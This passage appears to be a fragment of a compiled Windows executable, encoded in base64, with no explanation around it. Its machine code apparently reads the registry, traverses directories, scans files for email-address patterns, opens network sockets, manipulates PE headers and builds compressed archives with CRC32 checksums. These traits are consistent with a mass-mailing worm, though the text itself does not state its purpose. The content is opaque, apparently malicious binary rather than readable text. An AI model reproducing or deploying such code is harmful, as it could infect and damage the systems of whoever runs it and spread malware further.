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 